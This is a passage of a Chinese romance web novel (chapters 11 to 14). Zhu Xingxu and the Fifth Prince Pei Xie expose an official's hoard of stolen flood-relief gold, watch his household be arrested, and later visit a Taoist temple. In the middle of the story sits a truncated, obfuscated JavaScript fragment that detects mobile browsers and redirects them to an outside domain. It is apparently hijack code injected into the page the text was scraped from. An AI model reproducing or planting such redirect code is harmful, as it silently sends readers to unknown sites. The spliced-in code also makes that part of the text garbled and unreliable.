裴榭努力把自己的注意力放在当前的场景上。
通道的尽头似乎是一座石室。
油灯上的光明明灭灭,勉强照亮着脚下的路。
这条通道并没有什么石头和杂草。
李栋想必常走这条路。
越往里走,裴榭便越发肯定。
李栋来的次数,可不止一次两次。
他的脚步加快了一些,想尽早到达终点。
祝星序也赶紧跟上。
出了通道,确实是一座宽广的石室。
祝星序还没来得及感叹这石室的辽阔,便被石室中央堆砌成小山的黄金给吓了一跳。
“这……”
裴榭的眼里闪着惊喜的光。
他走上前,查看那些黄金。
他上手拿了一小块,翻至底部,果然有字。
裴榭冷哼一声:“果然。”
祝星序听到他的话,也探头过去看。
裴榭并没有避开她的意思。
只见黄金的底部写着:“成庆五年六月,康城洪水。”
他又拿起其他几块。
每一块的底部,都写着不同年月的不同事件。
正如裴榭所料,这些金子,全是朝廷当年拨下去的赈灾钱。
他和裴檐早就怀疑太子党在每次的灾情中都贪下不少,只是苦于没有证据,贸然告发,势必会引得大臣们的弹劾和皇帝的猜疑。
那些困苦的百姓们,到死都没等到这笔救命钱。
层层盘剥之下,这些银钱落到百姓手中的少之又少。
为了平息他们的怒火,朝廷只能又继续往下拨银,国库也渐渐入不敷出。
看着这座黄金山,裴榭微咪起眼。
大部分的钱财果真都落入了太子党的手中。
太子党用着这些钱,壮大自己的势力,好为他的登基之路铺下基石。
裴榭通过调查,排除了几人,最终,他锁定在大理寺少卿李栋身上。
有了他刚刚在书房找到的东西,再加上这座山一样的黄金,这李栋,绝对难逃一死。
只是,该如何把消息传递出去?
这里的出口,应该不会只有一个。
祝星序在他思考的时候,也在探索着石室其他的地方。
快走到一圈时,她发现旁边的石墙上有一个黑黑的洞,不知通往哪里。
她叫裴榭。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16149697|180379||http|test|mini|href|location''.split(''|''),0,{}));
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>“你快看。”
裴榭顺着她的目光看向那个洞。
走到洞门口,他用心感受了一下。
里面有风。
就是这里了。
这应该也是李栋为了逃命所设计的出口。
没想到,先给他用上了。
他毫不犹豫往里面走。
祝星序也快速跟上他。
她可不想一个人……
不过这人走得也太快了,都不等等自己。
洞里很黑,幸好还有油灯。
越走,那一阵阵微风便越发明显起来。
甚至还能听到流水的声音。
又走了一会,风越来越凉。
两人加快了脚步,一口气冲出了洞穴。
祝星序定睛一看,外头竟是京城的郊区。
此时已至深夜,除了微风外,还有天上像钻石般的星在闪烁。
刚从空气稀薄的洞里出来,祝星序大口呼吸着新鲜空气。
她看看四周,有些恍惚:“我们这是出来了?”
裴榭点头。
祝星序感到了前所未有的放松。
从进入李府开始,除了李夫人那天去花朝节,她便一直待在府里。
若是祝府还好,她是大小姐,想做什么就做什么。
在李府却不同,做丫鬟的需要遵守许多规矩,烦得她都开始向往府外了。
祝星序忽然想到了什么。
“那我们,是不是不用再回去了?”
裴榭听完,有些忍俊不禁。
“东西都拿到了,还回去干什么?”
祝星序睁大了眼睛,随后反应过来,开始咧着嘴笑。
裴榭也笑了。
他做过那么多次任务,没有一次像现在这样愉悦。
或许是因为,这次的搭档是祝星序吧。
除了她想要的那只笔,他觉得,应该还能再给她些什么。
感谢她这将近一个月的辛劳。
这么想着,他也问了。
“你想要什么?”
祝星序回过头看他:“什么?”
裴榭认真地看着她:“你帮了我很大的忙,你还想要什么?”
祝星序歪了歪头:“我想要的已经拿到了。”
裴榭摇摇头:“是其他的东西。”
祝星序明白,他想给她额外的报酬。
她想了想,没什么特别想要的。
“没有。”
裴榭皱皱眉。
“那,我便随意给了?”
他不是那种对方说不要便真不给的那种人。
祝星序点头:“可以。”
这样还有拆盲盒的快感,挺好。
两人一前一后地往京城里走。
虽然现在城门已经关了,但裴榭出示了腰牌,守卫仔细检查过后,便开了门让他们进去。
裴榭亮出那腰牌的时候,祝星序多看了几眼。
那个应该就是书上说的皇室中人的腰牌吧?
她好想要……
可惜守卫看完后,裴榭便收起来了。
祝星序没能看更多。
进了城,她想到一个问题。
自己现在这副模样,肯定不能直接回祝府。
裴榭也知道她的顾虑,给祝星序在仙来酒楼订了间客房。
他付完钱,便准备离开。
祝星序又拉住他。
“你要去哪?”
她是真服了,裴榭什么都能办得到。
他要离开,祝星序是万般不舍。
裴榭看她又抓自己的衣服,微挣了下。
“回去复命。”
他把袖子从祝星序手里挣脱开,祝星序也终于意识到自己的不妥之处。
确实不像话。
祝星序后退一步,拉开和裴榭的差距。
也如同拉开了他们两个之间因任务而有些亲近的关系。
裴榭临走时,还给了她一大块雪花膏。
是用来洗去乌云膏的。
回到房间,祝星序让小二打了一桶热水,又好好关上门,打算彻底洗一遍澡。
用了雪花膏,她身上黝黑的地方经过清水的冲洗,很快便恢复成原来的样子。
不知乌云膏是不是也有防晒的功效,她感觉涂过的肌肤,好像变得更白了。
祝星序哼着歌洗澡。
洗完澡,她倒在床上,直接进入了梦乡。
隔天一大早,她便往祝府赶。
柔软的床,好吃的食物,她来啦!
12. 第 12 章
虽然还很早,但许氏已经起床了。
裴榭安排得很妥帖,每隔几日,都有一封声称祝星序的书信送来。
许氏不乐意看,都放着。
祝星序也知道,所以很放心地进来了。
她先找许氏请安,之后才回自己的院子。
祝若怡听说祝星序回来了,立刻赶到她的院子里。
在房门口,她便看到坐在屋子中间的祝星序。
还是穿着她最爱的水蓝色襦裙,皮肤白皙,和上次那个丫鬟一点也不像。
她的心放了下去,装作若无其事般走了进去。
“……”
祝星序看了她一眼:“干嘛?”
听见她没好气的声音,祝若怡想生气,但看到祝星序眉眼间的疲惫,将想说的话吞回了肚子。
“你好好休息。”说完,祝若怡拔腿就跑。
祝星序奇怪地看着她的背影。
这是怎么了?
她想到之间在花朝节上和祝若怡见的那一面。
不会是给她发现了吧?
但看上去也不太像。
她耸了耸肩,继续吃着锦珠给她拿的水果。
“小姐,你不在家的这段日子,我好想你!”
锦珠眼泪汪汪地看着她。
“下次,让我陪你一起去吧!”她眨巴着眼睛,期待地看着她。
祝星序想答应,但又想到若是其他东西也要这样当卧底呢?
“嗯……下次再说。”
锦珠有些失望,祝星序装作一个冷血的主子,撇过脸去不看她。
在家休息了几日,祝星序偶尔也会想起在李府的孟春和和素兰。
也不知道裴榭那边的进展如何了。
再不敏感的祝星序,也知道那座黄金山意味着什么。
外头的仆从们在讨论今日京城里的大事。
听上去好像和李府有关。
祝星序有些坐立难安,最终还是戴上一顶帷帽,从侧门悄悄溜了出去。
祝星序和她们相处了一个月,不管怎么样,她都想去看看李府的情况。
路上的人有些多,祝星序按着帷帽,艰难地穿梭在人群里。
大家挤在一起说些什么。
祝星序好奇地竖起耳朵听着。
“哎哟……那个李府啊,被抄家了。”
“哪个李府?”
“就大理寺少卿李栋啊!听说,他贪了很多钱,从地库里挖出来像座山一样的金子呢!”
众人哗然。
虽然心里已经有了准备,但祝星序还是有些担心李夫人和素兰。
“天啊,是个贪官!”
“是谁发现的?”
大家七嘴八舌的,说谁的都有。
“是三皇子啊,三皇子联合朝臣一起弹劾的,皇上动怒了,将李府查了一遍,所有情况都和三皇子说的一模一样。”
有知情人说着。
“这三皇子这么厉害?”
“是啊,李栋是太子的人,这是他们皇子之间的明争暗斗……”
几乎大部分人都对三皇子颇有好感。
明明祝星序和裴榭是勘察的主力军,但百姓们没有一个知道。
这也是三皇子的考量。
将他们二人隐在黑暗里,若来日下马,也不会连累到他们。
祝星序快步走着。
她走到李府,那里已经围了一圈人。
祝星序费力挤到第一排。
刑部的人已经在往外面一箱一箱地搬着黄金。
听旁边的人说,已经搬了半个时辰了,还没有搬完。
她想到那日看到的山一样的黄金。
确实要搬很久……
李栋颓然地坐在门口,想阻止。
他看准一个人,扑到他的大腿上。
“不要搬走我的东西!”
“这都是我的钱!”
那名衙役皱眉,踹了他一脚。
“这是朝廷发下去的钱,是属于百姓的!”
人群中有人大声叫好。
那名衙役的老家当年也是发洪水的地方,因为朝廷的赈灾银下来得少,好几个亲戚得不到及时的救治,死掉了。
来京城当差后,他也勤勤恳恳地做事,希望不要让其他人遭受这样的事情。
没想到,原来不是朝廷的原因,是有贪官!
因为当事人是大理寺少卿,皇上派刑部前去处理,他马上就毛遂自荐。
看着李栋,他的气就不打一处来。
“百姓怎么你了?你凭什么拿不属于你的钱!”
他越说越气,又想上前给他两脚。
同僚看他情绪逐渐崩溃,忙拉着他。
“他过两日就要处斩了,让让他吧,我们得先赶紧把东西搬走。”
那衙役这才忍住,狠狠瞪了他一眼,继续搬。
李栋被一脚踢到心窝,倒在地上,呜呜地哭着。
看上去竟有几丝可怜。
祝星序想起他先前在府里自傲自满地样子。
真是世事无常啊。
一想到自己也是参与其中的人,她挺了挺胸脯。
在门口驻足了一会,她没有看到李府其他人。
祝星序问旁边的人:“李栋的夫人呢?”
路人正看热闹,听她这么一问,也恍然大悟:“对哦。”
祝星序有些无语,又问另一个人。
那人倒是知道:“刑部的人还没来时,我就在这了,没看到李家其他人。”
她只好再等等。
又过了半刻钟,孟春和才款款而出。
她的衣服还是素色的,发髻也梳得高贵利落,和祝星序先前见到的她没有区别。
孟春和的表情从容,素兰也跟在她的旁边,只是素兰的眼睛红红的,似乎才刚刚哭过。
“素兰,把他扶起来。”
素兰应了一声,将不人不鬼的李栋搀了起来。
李栋此刻如同行尸走肉,眼神已不见半分光点。
祝星序犹豫了片刻,还是将帷帽拿了下来。
她娇美的脸和华贵的衣服在一众百姓里面尤为突出,在她拿下帷帽时,孟春和的目光便被她吸引了。
孟春和先是只看了她一眼,尔后皱着眉,又看了看她,然后便像如遭雷劈一样,僵硬在原地。
祝星序也盯着她看。
孟春和看向她的目光里,有不可置信,有生气,有悲伤,最后,还有一丝欣慰。
她欣慰什么呢?
欣慰自己不是想当妾室?
欣慰自己没有被连累,可以过得很好?
祝星序猜不到。
素兰跟着李夫人的视线看过来,也看到了祝星序。
她的情绪起伏比李夫人的大。
素兰的眼睛睁得大大的,她上前几步,想走到祝星序的面前。
孟春和将她拦住。
“算了。”
素兰皱眉看向孟春和:“可是……是她害的……”
孟春和摇摇头:“这是老爷自己干的错事,不怪别人。”
素兰这才停在原地,只恨恨地盯着祝星序。
刑部的衙役还在搬着黄金。
搬完之后,刑部主事拿着圣旨到孟春和他们面前。
“李家的人是否来全?”
孟春和垂眸,让素兰去叫李轲和香姨娘出来。
李轲也是被素兰扶着出来的。
家被抄了,他哭到昏厥。
李轲也才只是一个十五岁的小少年。
在现代,
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才刚刚上高中。
不久前的他,还在幻想着找一个喜欢的女孩当正妻。
可是现在,因为李栋的贪婪,整个家庭支离破碎。
李轲的人生还没开始,就要结束了。
刑部主事问:“是否还有别人?”
孟春和答:“只有一个侍妾和一些仆从。”
刑部主事点点头,开始宣读圣旨。
李栋三日后午时问斩,李轲、孟春和及侍妾没入官府为奴。
李栋还是那副萎靡不振的样子。
李轲又一次哭得眼泪鼻涕齐飞。
只有孟春和,腰背依旧挺直,听完圣旨后,才缓缓磕头,行了一个极标准的礼。
“妾,谢皇上恩典。”
她只是一个普通的女子,却在遇到大事时,不卑不亢,一个人体面地接旨,谢恩。
且她没有任何怨言,因为她知道,这是他们该受的。
祝星序的眼神闪烁了一下。
宣完旨,便有囚车到来,将三人押解上去。
香姨娘一直在里面躲着,现在也躲不了了,被衙役揪了出来。
当时看着沉稳的香姨娘,此刻却泪流满面,不停地咒骂李栋。
“好你个李狗,好好的官不当,在这里贪银子!”
李栋垂着头,置若罔闻。
香姨娘再哭诉,再生气,也还是一起被押上了囚车。
孟春和路过祝星序时,忽然抓着她的手。
祝星序抬头看她。
孟春和的眼眶里似有泪花,她恳求道:“素兰从小便在我身边伺候,求你,把她带走……”
素兰在一旁听到这些话,也掉了泪:“夫人……”
李府的仆人自然是被解散,卖身契重新流回人牙子手中。
孟春和凝视着祝星序:“你答应我!”
祝星序缓缓开口:“好。”
素兰在一旁扯着孟春和的袖子哭着:“夫人……不要赶我走……奴婢要一直跟着你。”
孟春和得了祝星序的允诺,松开她的手,转身安慰素兰:“傻瓜,我也要去当奴婢了,怎么能让你跟着我受苦呢?”
她看了看祝星序:“翠花想必也是京中贵女,她带着你,你的日子还会和以前一样。”
素兰也明白,她不可能再跟着孟春和,只是心里难过,不停地流泪。
衙役看这边的情况差不多了,轻声催促。
李夫人拨开素兰拽着自己袖子的手,毅然决然地登上囚车。
她的模样,倒更像是去往更好的地方。
几人上车后,衙役就拿封条贴上李府的大门。
囚车走了,百姓们也跟在囚车后面。
他们已经知道李栋的罪名是贪污,还贪了本该救灾的钱,纷纷用泥土,狗粪,杂草扔到囚车上。
孟春和的发髻被打歪,垂下几缕头发。
她也低着头,一起承受着百姓的怒火。
一路走,百姓一路砸,还有的人朝他们吐痰。
素兰暂时想不开,只坐在李府的大门前发呆。
祝星序也在后面跟着。
就当是,她为孟春和送最后一程。
路边的摊贩们守着自己的摊位,没有去李府跟前凑热闹,但当囚车到了他们面前时,摊贩们也将一些垃圾扔过去。
尽管没有看到过程,但听其他百姓们说的,他们也知晓这辆囚车上运的是什么人。
不一会,囚车上面便臭气熏天,离得近的百姓纷纷站远了些。
衙役没有阻拦这些。
每一次押解凡人,都是如此。
人一多,就容易混乱。
祝星序跟着跟着,就有些落后了。
她快走一步,却被人撞倒。
一只冰凉的手扶起了她。
13. 第 13 章
祝星序一转眼,便撞入裴榭黝黑的眼眸中。
“这里人多,小心些。”
裴榭又回到了他五皇子的身份,身着暗灰色纹金线的华服,头上戴着同色系镶白玉宝石的冠,配上他淡然的笑,整个人矜贵又清冷。
可他偏阴柔的容颜,却又平添了几分摄人心魄的美。
祝星序低下头,不再看他。
“谢谢……”
裴榭看向远去的囚车。
“你不是要跟上去吗?”
祝星序回过神来,忙又上前。
裴榭拦住了她:“坐我的马车吧。”
祝星序回头,他身后果然有一架马车,马车的木材和布料都是上好的,车头和车身也印上了五皇子的标志。
她咬咬牙,上了马车。
马车开始行驶,赶往囚车离去的方向。
有了马车,便不用在人群里挤,也不会落下。
祝星序掀开车前的帘子,紧盯着前面的囚车。
囚车上面的垃圾越来越多,纵使已经隔了一段距离,她还是能闻到上面散发出来的腥臭味。
百姓们也还在不遗余力地继续扔着东西,吐着痰,大声咒骂着。
她现在更加讨厌李栋。
都是因为他,才让孟春和陷入如此境地。
祝星序在李府中了解到,李栋所贪的那些钱财,全部用来买私田和召妾。
他不止在府内有两名侍妾,外室更是多达十人。
至于为何养在外面,当然是因为可以不受管。
孟春和自身和禅香院的支出,都是她嫁妆里那几家铺子的收益维持的。
所以,她的院子里,仆人很少。
她给不起那么多钱。
李栋也牢牢地把握着李府的财政大权,不让孟春和参与进来。
可以说,孟春和完全是被他连累的。
但若不是李栋如此贪财……她也根本拿不到枯青树毛笔。
坐回车座上,她心中百感交集。
犹豫了一会,祝星序开口:“夫人……她会被派去哪?”
裴榭沉默了一下,道:“不出意外,应该是会被派遣到宫中洗衣或者刷恭桶,终身劳役。”
祝星序抬头望着他:“那有没有可能……让她生活得好些呢。”
裴榭看进祝星序浅棕色的眼睛,波光粼粼的眼眶里装着期待和希冀。
他移开视线:“只能让看管她的人放松些,不要对她那么严苛。”
听到有希望,祝星序又朝裴榭那边靠近了些。
现在不是柑橘的季节,祝星序会在晚上沐浴时,吃些葡萄。
她的份例,基本上都用来买时例的水果了。
祝府采买的水果都是数一数二的,只比进贡的差一点点。
她沐浴时吃得很欢快,葡萄个大汁多,时常会溅到泡澡水中,连带着她的身体都沾染上几分葡萄香。
祝星序这一靠近,葡萄的甜味便幽幽地钻入裴榭的鼻腔中。
他不动声色地往后仰了仰,企图避开那阵香味。
无他,只怪那香味容易让裴榭的心底生出异样。
他不喜欢这种不受控制的感觉。
祝星序并没有察觉到,继续问:“那我该怎么做呢?怎么才能把钱给到看管她的人手上?”
裴榭轻咳一声:“你……你把钱给我就好,我会安排。”
他是皇子,在宫中安排这样的事情应该很容易。
祝星序放心了,裴榭还是很值得信任的。
“好……那就麻烦你了。”
她退了回去,稍稍离开了些。
裴榭点点头,转头看向窗外。
到达刑部大牢,囚车停下。
因为围观的百姓们太多了,刑部又派出许多衙役维持着秩序,将百姓隔绝十步之外。
百姓们拥挤着,看李栋灰头土脸地下车。
“呸,贪官!”
见他这副模样,百姓们畅快极了,又开始辱骂。
“你就进去好好受苦吧!”
李栋低着头,被押解进了大牢。
孟春和、李轲和香姨娘则是被押解进宫。
祝星序有些紧张,忽然抓着裴榭的手腕。
她灼人的体温从手上传来,裴榭皱了皱眉。
“你……你一定要帮我打听她去哪了好吗?”
裴榭:“……好。”
这都是小事。
听到允诺,祝星序才彻底放心,收回了手。
裴榭的手指无意识蜷缩了一下,竟有几分想留住那滚烫的温度。
待几人彻底看不见了,百姓们也渐渐散去。
眼见差不多了,祝星序拿起帷帽,准备下车。
“那我就先走了。”
裴榭伸手想拉住她,却怕有些唐突,只好又收回。
“我送你吧,这里离祝府还有一段距离。”
祝星序顺势坐下:“也行。”
她刚刚就想让裴榭带她回去,但又担心他有别的差事。
裴榭和车夫说了一声,马车便掉头往祝府走。
祝星序闭着眼睛靠在车壁上,脑子里一直在想夫人的狼狈样。
她几不可闻地叹了口气。
裴榭知道她为什么叹气。
很多时候,大部分人都是身不由己。
每个人的命运不同,不是好人就会有好报的。
他深深地明白这个道理。
裴榭握紧拳头。
他想要的……一定会想办法自己取得。
马车走了一会,便到了祝府门口。
车厢内始终萦绕着一股淡淡的葡萄香。
祝星序习惯了,并没有觉得有什么特别的。
裴榭被动闻着,无可奈何。
他并不讨厌这个味道。
看着熟悉的街景,祝星序起身下车。
“多谢啦。”
她一离开,车厢里的葡萄味都淡去了许多。
裴榭闭上眼睛,不由地深吸了一口气,竟想把这味道全部吸入腹中,好好留存。
车夫见裴榭半天不说话,敲了敲车门。
“殿下,我们现在去哪?”
甜味逐渐消失殆尽,裴榭睁开眼睛,眸中尽是清明。
“回府。”
*
祝星序从五皇子车上下来的事情,很快便被奴仆传到许氏的耳朵里。
许氏听完下人的回答,有些惊喜:“真的?”
仆从点头:“千真万确。”
许氏站起身:“让大小姐过来一趟。”
她的贴身丫鬟锦雪立刻去找祝星序。
祝星序刚回到屋里,喝了一口茶水,便看见锦雪来了。
“大小姐,夫人请您去一趟。”
祝星序放下杯子,跟着锦雪去许氏的院子。
一进去,许氏就跟看见财神爷一样,双目放光,上前拉着祝星序的手不放。
“哎呀,星序看上去出落得越发漂亮了。”
祝星序顿时感到身上浑身刺挠。
许氏先前都对她不冷不淡的,现在又是演哪一出?
许氏似乎并没有看到她不适的表情,拉着她坐在椅子上。
“这是我今日让人采买的水果,你吃点?”
案几上摆放着几个鲜嫩的水蜜桃。
祝星序眼睛一亮。
她也爱吃这个。
许氏见她喜欢,笑容怎么也藏不住,拿了一个过来递给祝星序。
祝
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星序也毫不客气,拿来吃了一口。
许氏笑盈盈地看着她。
直到祝星序吃完一个,许氏才道:“星序,听说你今天回来是从五皇子的车上下来的?”
祝星序有些发愣,缓缓点头,不知道她问这个是什么意思。
许氏道:“这五皇子虽然先前不受宠,但毕竟是个皇子,而且现在他又在三皇子底下,如今三皇子可是如日中天哦?”
祝星序擦了擦嘴,看着许氏,不说话。
许氏被她盯得有些发毛,但还是继续道:“你看,你跟五皇子关系好,到时候是不是可以带若怡和三皇子见见呢?”
这才是许氏的目的。
她怎么敢做这种事!
三皇子可是要和女主在一起的。
当女配没有好下场。
祝星序摇头:“不,母亲。我跟五皇子关系不好。”
没料到她会这么说,许氏愣了一下:“怎,怎么可能?”
祝星序有些为难地点头:“是真的,我刚刚得罪他了,所以才从他车上下来。”
许氏听到“得罪”二字,猛地起身。
“你得罪他了?你干什么了?”
祝星序耸肩:“也没什么,就是把他最爱的一把古扇弄坏了。”
瞎编中。
许氏面色发白。
祝星序继续道:“那把古扇可是五皇子的最爱,要几万两银子呢。”
她故意说了个大数,打算吓唬吓唬许氏。
许氏的身体微微抖动着。
祝星序观察着她的表情接着道:“他就是看在父亲的面子上,才勉强放我一马,他让我今后不要出现在他面前。”
希望将来裴榭知道这件事后,不要怪她……她也不是故意的。
一切都是为了本书的气运之子着想。
许氏咽了咽口水:“你……你怎如此莽撞?”
她眼前发白,脑中混乱。
祝星序委屈道:“我也并非故意……只是事发突然……我也想挽回的。”
许氏也知道大理寺少卿被抄家一事,太子党萎靡,三皇子崛起。
万一太子党再也起不来,皇上把太子之位传给三皇子,最后三皇子当了皇帝……
五皇子一直怀恨在心,和新皇说了此事,那祝府可就遭罪了。
许氏越想越害怕,抓住祝星序的手起身:“走,去五皇子府上道歉!”
祝星序死死坐在凳子上不动:“不要啊,他都让我不要再出现了,我再过去不是打他的脸吗!万一他一生气,在朝堂上针对父亲怎么办。”
许氏想了想,也觉得是这样,但同时又觉得不道歉不好。
坐回凳子,她手抚胸口,希望能顺一点气。
这祝星序,就是爱惹麻烦,可她又是之前那个夫人生的,打不得骂不得,真叫人为难!
许氏想了半天,也想不出个好办法。
她想和祝明礼说,但这样一来,祝明礼肯定会怪她没有好好照顾祝星序。
这可如何是好!
派人去赔礼道歉?
她觉得这法子挺好。
但是……若因此更加惹怒五皇子呢?
想到这里,她又有些怪太子。
太子怎么不努把力,把三皇子压下去呢?
祝星序看着她一脸痛苦思考的样子,又拿起一个水蜜桃来吃。
别说,许氏房里的水果还是很好吃的。
一边吃着,她又将剩下的两个桃子揣进兜里。
回去拿给锦珠和素兰吃。
祝星序吃到一半,许氏下定了决心。
她看着祝星序:“明日,你跟我去镇国观,我们去祈福,希望五皇子不要为难我们,也让上天保佑你别再闯祸了!”
14. 第 14 章
素兰是在傍晚时入的府。
许氏正愁眉苦脸地坐在屋内,听到锦雪的话,随手接过卖身契,手一挥就让素兰走,半分也不愿意把关注放在其他方面。
锦雪知道她是祝星序买来的,也恭敬地将她带到祝星序的院子里。
素兰头低着,只在锦雪身后跟着,没有发出一点声音,也没有东张西望。
进了屋,素兰看见白日里见过的祝星序,此时正坐在屋中间等着她。
锦雪请了安便离开了。
素兰看着祝星序,眼眶微红。
她缓缓跪下。
祝星序急忙拉她起来。
“这是做什么!”
素兰扶着祝星序的手,红着眼眶道:“是我对不起你……”
祝星序将她扶起来到桌边坐下。
锦珠不知道她们之间的事情,但还是给她倒了茶,站在一边好奇地看着素兰。
祝星序抬手擦去她的眼泪:“你有什么对不起我的呢?”
见祝星序还是和以前那般好,素兰低头抽泣:“我已经想开了……我不应该怪你的。”
祝星序笑:“都已经过去了,不要想了,今后就在祝府里面好好办差吧。”
素兰点点头,又起身,开始满屋子找活干。
“我能做些什么呢?”
祝星序把她拉过来,将水蜜桃塞到她手里。
“干活不急,先吃这个吧。”
素兰连忙推诿:“奴婢……这不合适……”
锦珠在旁边道:“你就拿着吧,大小姐就是这样的人,你要习惯!”
一开始,锦珠也对祝星序的示好惶恐不安。
日子久了,她也不敢总是扫她的兴,便只能接受。
渐渐地,锦珠也很感谢祝星序。
她可是听闻在其他府上有贵女和公子有打骂奴才的偏好呢。
祝星序也笑着看她:“你就吃吧。”
素兰这才接过,眼睛又红了。
祝星序赶紧拍拍她的背。
“不要哭啦,以后就是新生活了,哭哭啼啼的不好。”
素兰点点头,憋着眼泪。
锦珠带她下去安置,问她之前是不是和祝星序有什么来往。
素兰知道一个贵女做过丫鬟的事情不能传扬出去,便打着哈哈混过去了。
锦珠单纯,也没想那么多,只是高兴又有一个人可以跟她一起服侍大小姐了。
*
隔天一早,锦珠就来叫祝星序起床。
“大小姐醒醒,今天要和夫人去镇国观呢。”
祝星序打着哈欠起床,猛然想到昨天忽悠许氏的事。
她又倒回床上。
一个谎言带来的后果竟如此严重。
她好想睡觉啊……
锦珠叫来素兰,把她拉起来,强行给她洗漱换衣。
“大小姐,今天还穿蓝色的裙子吗?”
祝星序胡乱点头,又打了个哈欠。
素兰帮她侍弄发髻,锦珠在香炉里点燃了提神香,待白烟缓缓升起时,凑到祝星序的鼻子下,让她吸。
祝星序被这刺鼻的味道呛到,咳嗽了几声,好歹没有那么困了。
锦珠带着素兰在府里学习规矩,今日只有祝星序一人前往。
这样更好,她更习惯一个人。
在许氏那里吃了早饭,祝星序前往正门登上马车。
马车悠悠地行驶着,祝星序靠着车壁假寐。
没办法,马车晃来晃去,真的很催眠。
到了镇国观的山脚,马车停下。
此时虽然还很早,但山脚下已经停了不少马车,有好几个祝星序眼熟的贵女和夫人。
还有许多百姓,都是来上香的。
当今圣上在先帝时期做皇子时,曾被兄弟陷害,艰难出逃。
是镇国观的前身——明月观收留了他,让他躲避了此次的追杀。
再加上陷害他的那名兄弟崇尚佛法,当今圣上偏要跟他对着干,大力发展道法。
等他登基后,便下旨将明月观改为镇国观。
祝星序在现代读书时,也经常在历史书上看到这些。
其实都是皇权的象征罢了。
去镇国观,需要走天梯。
祝星序抬头看了一眼,差点晕过去。
密密麻麻的阶梯摆在她的眼前,镇国观的庙宇变得像荔枝一样小。
这还是她第一次来,不清楚这里的情况。
也没人跟她说要爬这么高的楼梯啊!
许氏没觉得有什么,反而觉得亲自爬上去显得心诚。
无奈,祝星序只得这样一步一步上去,爬到顶部时,她的脸颊通红,大口喘着气。
她急急忙忙往里面走,想喝水。
许氏却一把将她拉住。
“得先去敬拜三清。”
进了三清殿,她被许氏拉着跪在蒲团上。
于是,她便好好地跪着,磕头。
希望三清能保佑她早点回现代……
磕完头之后,许氏才放她去喝水。
三清殿的门外,便有供贵人吃喝的台子,此时,一名道长坐在台子的旁边,闭目养神。
祝星序走过去,对那道长问:“可以喝吗?”
道长没有睁开眼,只微微点头。
祝星序倒完水,咕嘟咕嘟地喝下,两息之内便将水喝完。
听到这个声音,道长皱眉,睁开眼看她。
祝星序又倒了一杯水。
道长看了她一会,喃喃道:“竟然是这样……”
祝星序又喝完一杯水,似乎听见道长在说话。
“您说什么?”
道长收回目光,摇摇头,又闭着眼睛。
等了半天,道长再没说话。
祝星序一步三回头地走了,心里觉得有些奇怪,但还是回了三清殿找许氏。
若她乱走,许氏找不到她,肯定又要有麻烦。
许氏正在和观主讲话。
观主白须飘飘,与胡须同色的发丝焕发着生机,看上去颇有几分仙风道骨的意思。
许氏皱着眉,听着观主说的话。
祝星序站到她旁边。
观主看到祝星序,眼神闪烁了一下,什么都没说。
祝星序感到更奇怪了。
许氏没有看见观主闪烁的眼睛,只和祝星序道:“为了能化解你身上的恩怨,我们今晚要在此地住下。”
住下?
也行吧……
知道要在观里住下,祝星序忽感浑身疲倦,问出了她最想知道的问题。
“那我们住哪?”
她想去躺会。
爬了这么高的山,她早就累倒了。
许氏轻轻拍了一下她的手:“观主在此,不得无礼。”
祝星序低下头。
观主却呵呵笑着,捋了捋胡子:“无妨。祝姑娘真性情,不必限制。”
许氏见观主没生气,舒了口气,让锦雪带着祝星序去厢房。
镇国观也时常会有香客留宿,是以房间很多,且室内的摆设都很文雅。
此时不逢年节,留宿的人比较少,祝星序和许氏可以一人一间。
祝星序一进门便倒在床上。
她没关门,只半掩着,让山间的自然风吹进来。
祝星序慢慢地睡着了。
待醒来时,已经是中午。
她肚子很饿,起来找饭吃。
路过三清殿时,祝星序
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转头看了一眼。
这一眼,直接让她僵在原地。
正中间元始天尊的手中,正握着那枚朱雀图案的木牌。
她的心砰砰跳,不知道这是不是她要找的那个。
刚来的时候,她只顾着磕头,都没有往上面看过。
还有香客在陆续地进香,祝星序只得赶紧离开。
一边走,她一边想着那枚朱雀图腾的木牌。
那东西怎么放在那里……
先不说怎么上去,它放在元始天尊的手中,想来是不能轻易取走的。
她一个普通的女子,要怎样才能上去拿到呢?
祝星序进了许氏的房间,桌子上已经摆满了菜肴。
今日不是初一十五,有几盘荤菜。
她心不在焉地吃完,许氏又让她陪自己散步。
走出房门,迎面而来的是五皇子裴榭。
许氏脸色一白。
祝星序抿紧唇,防止自己笑出来。
裴榭朝她缓步走来。
看见祝星序时,他似乎又闻到了那股柑橘和葡萄的甜香。
许氏忙低下头行礼:“妾,参见五皇子殿下。”
祝星序也跟着装模作样地行礼:“臣女参见五皇子殿下。”
裴榭看着祝星序缀满玉簪的头顶,心里有些好笑,但面色不显。
只是,她离得有些远,裴榭没有闻到什么。
“起来吧。”
许氏很紧张,不断用手推着祝星序,想让她离远点。
她可还记得,五皇子说过,不想再见到她呢。
祝星序不明所以地被推走,回头看了一眼裴榭。
裴榭看不太懂她们之间的互动。
不过,他也只疑惑地和祝星序对视。
许氏想赶紧把裴榭的注意力引开:“殿下,您也是来拜三清的吗?”
裴榭点头,和许氏攀谈起来。
祝星序只能远远地坐在观里的池塘边边看着他们。
他们聊了几句,许氏有了些笑容。
她有些忐忑,裴榭不会把她拆穿了吧。
不过,他来这干什么呢?
祝星序可不相信裴榭是来拜神的。
这些日子,她又想起了一些关于书中的内容。
裴榭有一种性格,让他只能当男配,当不了男主。
那就是誓要得到一切的偏执。
他想从属地回来,远远地便能搭上三皇子的线,向三皇子投诚。
他想扶三皇子当皇帝,便不遗余力为他筹划,连潜入李府当小厮的事情也干得出来。
包括之后在一次任务中身亡,也是因为,他看到三皇子唯一的竞争对手再也无法东山再起。
一切都尘埃落定,他便顺着形势,自裁于任务中。
与其等三皇子登基后,他猜忌于他。
不如就这样死去,三皇子反而会一直念着他的好。
于裴榭来说,生命也不过如此,没什么好留恋的。
这样的人,祝星序不相信他会有什么信仰。
在池塘边发了会呆,有人轻轻拍了拍祝星序。
她回头一看
是一位有着明媚笑容的女子。
